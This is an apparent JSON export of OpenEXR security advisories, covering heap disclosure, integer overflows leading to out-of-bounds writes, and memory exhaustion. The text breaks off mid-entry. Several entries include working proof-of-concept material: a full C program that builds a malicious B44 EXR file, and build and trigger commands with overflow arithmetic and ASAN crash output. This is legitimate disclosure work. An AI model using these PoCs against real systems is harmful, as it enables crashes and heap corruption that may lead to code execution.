GSA_kwCzR0hTQS0zaDloLXFmdnctOThocc4ABUya","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zaDloLXFmdnctOThocc4ABUya","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.4.3","vulnerable_version_range":"\u003e= 3.4.0, \u003c 3.4.3"},{"first_patched_version":"3.3.6","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.3.6"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zaDloLXFmdnctOThocc4ABUya/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12YzY4LTI1N3ctbTQzMs4ABUtv","url":"https://github.com/advisories/GHSA-vc68-257w-m432","title":"OpenEXR: Heap information disclosure in PXR24 decompression via unchecked decompressed size (undo_pxr24_impl)","description":"### Summary\nThe PXR24 decompression function undo_pxr24_impl in OpenEXR (internal_pxr24.c) ignores the actual decompressed size (outSize) returned by exr_uncompress_buffer() and instead reads from the scratch buffer based solely on the expected size (uncompressed_size) derived from the header metadata.\n\nAdditionally, exr_uncompress_buffer() (compression.c:202) treats LIBDEFLATE_SHORT_OUTPUT (where the compressed stream decompresses to fewer bytes than expected) as a successful result rather than an error.\n\nWhen these two issues are combined, an attacker can craft a PXR24 EXR file containing a valid but truncated zlib stream. As a result, the decoder reads uninitialized heap memory and incorporates it into the output pixel data.\n\n### Details\nThis issue occurs due to the combination of two flaws.\n\n1. compression.c:202–205 — LIBDEFLATE_SHORT_OUTPUT treated as success\n```\nelse if (res == LIBDEFLATE_SHORT_OUTPUT)\n{\n    /* TODO: is this an error? */\n    return EXR_ERR_SUCCESS;\n}\n```\nlibdeflate_zlib_decompress_ex() returns LIBDEFLATE_SHORT_OUTPUT when the compressed stream is successfully decompressed but the resulting output size is smaller than the provided output buffer size. In this case, the actual number of decompressed bytes is written to actual_out. However, the function does not treat this condition as an error and instead returns success.\n\n2. internal_pxr24.c:279–287 — outSize return value ignored\n```\nrstat = exr_uncompress_buffer(\n    decode-\u003econtext, compressed_data, comp_buf_size,\n    scratch_data, scratch_size, \u0026outSize);   // outSize = actual bytes written\n\nif (rstat != EXR_ERR_SUCCESS) return rstat;\n\n// outSize is never referenced afterwards.\n// The loop below reads the entire scratch_data buffer based on\n// uncompressed_size (the header-derived expected size).\nfor (int y = 0; y \u003c decode-\u003echunk.height; ++y) { ... }\n```\nAfter exr_uncompress_buffer() returns success, the code does not verify whether the actual decompressed size (outSize) matches the expected size (uncompressed_size). The subsequent byte-plane reconstruction loop reads from the scratch buffer up to uncompressed_size bytes. As a result, the region between outSize and uncompressed_size consists of uninitialized heap memory, which is then read by the decoder.\n\n**Affected component**\n- src/lib/OpenEXRCore/internal_pxr24.c — undo_pxr24_impl() (line 261–399)\n- src/lib/OpenEXRCore/compression.c — exr_uncompress_buffer() (line 202–205)\n\n### PoC\nPlease refer to the atta\n[poc.zip](https://github.com/user-attachments/files/26002361/poc.zip)\nched archive file and proceed after extracting it.\n\n1. git clone https://github.com/AcademySoftwareFoundation/openexr.git\n2. mv poc openexr/\n3. cd openexr\n4. docker build -f poc/Dockerfile -t pxr24-poc .\n5. docker run --rm pxr24-poc\n\n\u003cimg width=\"858\" height=\"155\" alt=\"스크린샷 2026-03-15 오후 4 38 18\" src=\"https://github.com/user-attachments/assets/ded9eab6-9b92-40f7-9a0d-7b00db7e6088\" /\u003e\n\n\n### Impact\n* Sensitive information from heap memory may be leaked through the decoded pixel data (information disclosure).\nTrigger Condition: Occurs under default settings; simply reading a malicious EXR file is sufficient to trigger the issue, without any user interaction.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-03T21:50:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-vc68-257w-m432","https://nvd.nist.gov/vuln/detail/CVE-2026-34543","https://github.com/AcademySoftwareFoundation/openexr/commit/5f6d0aaa9e43802917af7db90f181e88e083d3b8","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8","https://github.com/advisories/GHSA-vc68-257w-m432"],"source_kind":"github","identifiers":["GHSA-vc68-257w-m432","CVE-2026-34543"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T22:00:13.847Z","updated_at":"2026-10-05T15:04:18.473Z","epss_percentage":0.00517,"epss_percentile":0.41507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12YzY4LTI1N3ctbTQzMs4ABUtv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12YzY4LTI1N3ctbTQzMs4ABUtv","packages":[{"ecosystem":"pypi","package_name":"openexr","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.2.0, \u003c= 3.2.6"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.3.8"},{"first_patched_version":"3.4.8","vulnerable_version_range":"\u003e= 3.4.0, \u003c= 3.4.7"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12YzY4LTI1N3ctbTQzMs4ABUtv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNzYyLXJodjMtaDI1ds4ABUtu","url":"https://github.com/advisories/GHSA-h762-rhv3-h25v","title":"OpenEXR: integer overflow to OOB write in uncompress_b44_impl()","description":"### Summary\nThe B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.\n\n### Root cause \n* Variable declarations (internal_b44.c:535)\n```c\nint nx, ny;\n```\n`nx` and `ny` are declared as plain int. They are assigned from `curc-\u003ewidth` and `curc-\u003eheight` which are int32_t.\n\n* Scratch buffer allocation (internal_b44:543)\n```c\nnBytes = (uint64_t) (ny) * (uint64_t) (nx) *\n               (uint64_t) (curc-\u003ebytes_per_element);\n```\nThe allocation path correctly promotes to uint64_t before multiplying.\nThe scratch buffer is always large enough to hold the full channel.\n\n* Row pointer reconstruction (internal_b44:560)\n```c\nrow0 = (uint16_t*) scratch;\nrow0 += y * nx;          \nrow1 = row0 + nx;\nrow2 = row1 + nx;\nrow3 = row2 + nx;\n```\n`y` and `nx` are both int. The product `y * nx` is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow\n\n* Out of Band write (internal_b44:592)\n```c\nmemcpy (row0, \u0026s[0], n);\nmemcpy (row1, \u0026s[4], n);\nmemcpy (row2, \u0026s[8], n);\nmemcpy (row3, \u0026s[12], n);\n```\nThese four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. \nThe same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.\n\n### PoC\nThe PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes `row0 += y * nx`, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.\n```poc.cpp\n#include \u003copenexr.h\u003e\n#include \u003cinttypes.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n\n#define CHECK(call)                                                  \n    do {                                                             \n        exr_result_t _rv = (call);                                   \n        if (_rv != EXR_ERR_SUCCESS) {                                \n            fprintf(stderr, \"%s failed (%d)\\n\", #call, (int)_rv);   \n            goto fail;                                               \n        }                                                            \n    } while (0)\n\nstatic void fill_blocks(uint8_t* out, uint64_t n) {\n    for (uint64_t i = 0; i \u003c n; i++, out += 3) {\n        out[0] = 0x00; out[1] = 0x00; out[2] = (13u \u003c\u003c 2);\n    }\n}\n\nint main(void) {\n    const int64_t  W      = 268435456;\n    const int64_t  H      = 9;\n    const char*    path   = \"/tmp/poc_b44.exr\";\n\n    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;\n    const uint64_t psz    = blocks * 3;\n\n    uint8_t* packed = (uint8_t*) malloc(psz);\n    exr_context_t         ctxt   = NULL;\n    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;\n    int                   part   = -1;\n    exr_chunk_info_t      cinfo;\n    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;\n    uint16_t              dummy  = 0;\n    int                   ok     = 0;\n\n    if (!packed) { fprintf(stderr, \"malloc failed\\n\"); return 1; }\n    fill_blocks(packed, blocks);\n\n    CHECK(exr_start_write(\u0026ctxt, path, EXR_WRITE_FILE_DIRECTLY, \u0026cinit));\n    CHECK(exr_add_part(ctxt, \"scan\", EXR_STORAGE_SCANLINE, \u0026part));\n    CHECK(exr_initialize_required_attr_simple(\n              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));\n    CHECK(exr_add_channel(ctxt, part, \"Y\", EXR_PIXEL_HALF,\n                          EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));\n    CHECK(exr_write_header(ctxt));\n    CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));\n    exr_finish(\u0026ctxt); ctxt = NULL;\n\n    fprintf(stderr, \"[*] wrote %s  W=%\"PRId64\" H=%\"PRId64 \"  packed=%\"PRIu64\" bytes\\n\", path, W, H, psz);\n\n\n    CHECK(exr_start_read(\u0026ctxt, path, \u0026cinit));\n    CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, \u0026cinfo));\n    CHECK(exr_decoding_initialize(ctxt, 0, \u0026cinfo, \u0026dec));\n\n    dec.channels[0].decode_to_ptr          = (uint8_t*)\u0026dummy;\n    dec.channels[0].user_pixel_stride      = 2;\n    dec.channels[0].user_line_stride       = dec.channels[0].width * 2;\n    dec.channels[0].user_bytes_per_element = 2;\n    dec.channels[0].user_data_type         = dec.channels[0].data_type;\n\n    CHECK(exr_decoding_choose_default_routines(ctxt, 0, \u0026dec));\n    dec.unpack_and_convert_fn = NULL; \n\n    fprintf(stderr, \"[*] calling exr_decoding_run()h\\n\");\n    fflush(stderr);\n\n\n    CHECK(exr_decoding_run(ctxt, 0, \u0026dec));\n    ok = 1;\n\nfail:\n    if (ctxt) { exr_decoding_destroy(ctxt, \u0026dec); exr_finish(\u0026ctxt); }\n    free(packed);\n    return ok ? 0 : 1;\n}\n```\n### ASAN Trace\n```\nopenexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:\n    signed integer overflow: 8 * 268435456 cannot be represented in type 'int'\n    #0 in uncompress_b44_impl  internal_b44.c:561\n    #1 in internal_exr_undo_b44  internal_b44.c:706\n    #2 in decompress_data  compression.c:444\n    #3 in exr_uncompress_chunk  compression.c:541\n    #4 in exr_decoding_run  decoding.c:580\n    #5 in main  poc.c:83\n\n=================================================================\n==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800\n==PID==The signal is caused by a WRITE memory access.\n    #0 in memcpy  (libc)\n    #1 in uncompress_b44_impl  internal_b44.c:599\n    #2 in internal_exr_undo_b44  internal_b44.c:706\n    #3 in decompress_data  compression.c:444\n    #4 in exr_uncompress_chunk  compression.c:541\n    #5 in exr_decoding_run  decoding.c:580\n    #6 in main  poc.c:83\n\nSUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599\n```\n\n### Impact\nA crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). \nConsequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-03T21:47:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-h762-rhv3-h25v","https://nvd.nist.gov/vuln/detail/CVE-2026-34544","https://github.com/AcademySoftwareFoundation/openexr/commit/35e7aa35e22c1975606be86e859f31cc1fc598ee","https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8","https://github.com/advisories/GHSA-h762-rhv3-h25v"],"source_kind":"github","identifiers":["GHSA-h762-rhv3-h25v","CVE-2026-34544"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T22:00:13.847Z","updated_at":"2026-10-07T16:04:12.968Z","epss_percentage":0.0021,"epss_percentile":0.09929,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNzYyLXJodjMtaDI1ds4ABUtu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNzYyLXJodjMtaDI1ds4ABUtu","packages":[{"ecosystem":"pypi","package_name":"openexr","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.2.0, \u003c= 3.2.6"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.3.8"},{"first_patched_version":"3.4.8","vulnerable_version_range":"\u003e= 3.4.0, \u003c= 3.4.7"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNzYyLXJodjMtaDI1ds4ABUtu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcjR2LTZqbTYtNDk2M84ABS9u","url":"https://github.com/advisories/GHSA-cr4v-6jm6-4963","title":"OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write","description":"## Summary\n\nFunction: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`).\n\nVulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`):\n- `total_sizes[ptr] += counts[j][ptr];` (line ~511)\n- `overall_sample_count += total_sizes[ptr];` (line ~514)\n- `samples[channel].resize (overall_sample_count);` (line ~535)\n\nImpact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE).\n\nAttack scenario:\n- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.\n- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.\n- The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds.\n\nTested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0\n\n## Steps to reproduce\n\n[composite_deepscanline_poc_bundle.patch](https://github.com/user-attachments/files/25383205/composite_deepscanline_poc_bundle.patch)\n\nPoC files used:\n- Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp`\n- Minimal high-level reader harness: `poc/simple_exr_reader.cpp`\n\nThe reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`.\n\nBuild with ASAN/UBSAN:\n\n```bash\ncmake -S . -B build-asan \\\n  -DOPENEXR_BUILD_POC=ON \\\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\n  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \\\n  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \\\n  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \\\n  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'\n\ncmake --build build-asan --target composite_writer simple_exr_reader -j\n```\n\nGenerate malicious file (decode-path focused profile):\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 180s \\\n  ./build-asan/poc/composite_writer \\\n  --profile low-ram \\\n  --file /tmp/composite_decode_focus.exr\n```\n\nTrigger:\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 30s \\\n  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr\n```\n\nASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.\n\n## Example runs\n\nWriter (abbrev):\n\n```bash\n❯ ./build-asan/poc/composite_writer\nexploit math:\n  benign samples                 : 300\n  malicious parts                : 86\n  malicious samples per part     : 50000000\n  true total samples             : 4300000300\n  uint32 overflow reached        : yes\n  wrapped uint32 total           : 5033004\n  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)\n  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)\n  min parts to overflow (current benign/samples): 86\nwriting compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr\nwriting donor malicious part (50000000 samples)\ncopying malicious part 1/86 from donor chunk\n...\nfile size: 26112896 bytes (24.90 MiB)\n```\n\nReader ASAN crash:\n\n```bash\n❯ ./build-asan/poc/simple_exr_reader\nreading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts\n=================================================================\n==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670\nWRITE of size 4 at 0x7ed1a55d90b0 thread T0\n    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374\n    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664\n    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816\n    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const\u0026, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568\n    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576\n    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\n0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)\nallocated by thread T0 here:\n    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95\n    #1 0x7ed1dbc29600 in std::__new_allocator\u003cfloat\u003e::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151\n    #2 0x7ed1dbc29600 in std::allocator_traits\u003cstd::allocator\u003cfloat\u003e \u003e::allocate(std::allocator\u003cfloat\u003e\u0026, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482\n    #3 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381\n    #4 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378\n    #5 0x7ed1dbc29600 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663\n    #6 0x7ed1dbc00184 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016\n    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535\n    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers\nShadow bytes around the buggy address:\n  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==175024==ABORTING\n```\n\n## Root cause analysis\n\nIn `CompositeDeepScanLine::readPixels`:\n\n1. Per-pixel totals are accumulated in `vector\u003cunsigned int\u003e total_sizes`.\n2. For attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`.\n3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`.\n4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer.\n\n\nAllocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.\n\n## Impact\n\nHeap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-02T18:30:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-cr4v-6jm6-4963","https://nvd.nist.gov/vuln/detail/CVE-2026-27622","https://github.com/advisories/GHSA-cr4v-6jm6-4963"],"source_kind":"github","identifiers":["GHSA-cr4v-6jm6-4963","CVE-2026-27622"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-02T19:00:07.555Z","updated_at":"2026-10-05T15:05:10.708Z","epss_percentage":0.00221,"epss_percentile":0.11527,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcjR2LTZqbTYtNDk2M84ABS9u","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcjR2LTZqbTYtNDk2M84ABS9u","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.4.6","vulnerable_version_range":"\u003e= 3.4.0, \u003c 3.4.6"},{"first_patched_version":"3.3.8","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.3.8"},{"first_patched_version":"3.2.6","vulnerable_version_range":"\u003e= 2.3.0, \u003c 3.2.6"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcjR2LTZqbTYtNDk2M84ABS9u/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14MjJ3LTgyanAtOHJ2Zs4ABKsr","url":"https://github.com/advisories/GHSA-x22w-82jp-8rvf","title":"OpenEXR Out-Of-Memory via Unbounded File Header Values","description":"### Summary\nThe OpenEXR file format defines many information about the final image inside of the file header, such as the size of data/display window.\n\nThe application trusts the value of `dataWindow` size provided in the header of the input file, and performs computations based on this value.\n\nThis may result in unintended behaviors, such as excessively large number of iterations and/or huge memory allocations.\n\n\n### Details\nA concrete example of this issue is present in the function `readScanline()` in `ImfCheckFile.cpp` at line 235, that performs a for-loop using the `dataWindow min.y` and `max.y` coordinates that can be arbitrarily large.\n\n```cpp\nin.setFrameBuffer (i);\n\nint step = 1;\n\n//\n// try reading scanlines. Continue reading scanlines\n// even if an exception is encountered\n//\nfor (int y = dw.min.y; y \u003c= dw.max.y; y += step) // \u003c-- THIS LOOP IS EXCESSIVE BECAUSE OF DW.MAX\n{\n    try\n    {\n        in.readPixels (y);\n    }\n    catch (...)\n    {\n        threw = true;\n\n        //\n        // in reduceTime mode, fail immediately - the file is corrupt\n        //\n        if (reduceTime) { return threw; }\n    }\n}\n```\n\nAnother example occurs in the `EnvmapImage::resize` function that in turn calls `Array2D\u003cT\u003e::resizeEraseUnsafe` passing the `dataWindow` X and Y coordinates and perform a huge allocation.\n\nOn some system, the allocator will simply return `std::bad_alloc` and crash. On other systems such as macOS, the allocator will happily continue with a \"small\" pre-allocation and allocate further memory whenever it is accessed.\nThis is the case with the `EnvmapImage::clear` function that is called right after and fills the image RGB values with zeros, allocating tens of Gigabytes.\n\n### PoC\n\nNOTE: please download the `oom_crash.exr` file via the following link:\n \nhttps://github.com/ShielderSec/poc/tree/main/CVE-2025-48074\n\n1. Compile the `exrcheck` binary in a macOS or GNU/Linux machine with ASAN.\n2. Open the `oom_crash.exr` file with the following command:\n\n```\nexrcheck oom_crash.exr\n```\n\n3. Notice that `exrenvmap`/`exrcheck` crashes with ASAN stack-trace.\n\n### Impact\nAn attacker could cause a denial of service by stalling the application or exhaust memory by stalling the application in a loop which contains a memory leakage.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-31T19:23:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-x22w-82jp-8rvf","https://github.com/ShielderSec/poc/tree/main/CVE-2025-48074","https://nvd.nist.gov/vuln/detail/CVE-2025-48074","https://github.com/AcademySoftwareFoundation/openexr/commit/2df7802a6421bf39ed73a607392f01b3c6da4e4a","https://github.com/advisories/GHSA-x22w-82jp-8rvf"],"source_kind":"github","identifiers":["GHSA-x22w-82jp-8rvf","CVE-2025-48074"],"repository_url":"https://github.com/AcademySoftwareFoundation/openexr","blast_radius":7.513954895666097,"created_at":"2025-07-31T20:09:29.876Z","updated_at":"2026-10-05T15:06:52.212Z","epss_percentage":0.00259,"epss_percentile":0.15678,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MjJ3LTgyanAtOHJ2Zs4ABKsr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14MjJ3LTgyanAtOHJ2Zs4ABKsr","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.3.3","vulnerable_version_range":"= 3.3.2"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MjJ3LTgyanAtOHJ2Zs4ABKsr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xaHBtLTg2djctcGhtbc4ABKsq","url":"https://github.com/advisories/GHSA-qhpm-86v7-phmm","title":"OpenEXR ScanLineProcess::run_fill NULL Pointer Write In \"reduceMemory\" Mode","description":"### Summary\n\nWhen reading a deep scanline image with a large sample count in `reduceMemory` mode, it is possible to crash a target application with a NULL pointer dereference in a write operation.\n\n### Details\n\nIn the `ScanLineProcess::run_fill` function, implemented in `src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp`, the following code is used to write the `fillValue` in the sample buffer:\n\n```cpp\n                switch (fills.type)\n                {\n                    case OPENEXR_IMF_INTERNAL_NAMESPACE::UINT:\n                    {\n                        unsigned int fillVal = (unsigned int) (fills.fillValue);\n                        unsigned int* fillptr = static_cast\u003cunsigned int*\u003e (dest);\n\n                        for ( int32_t s = 0; s \u003c samps; ++s )\n                            fillptr[s] = fillVal; // \u003c--- 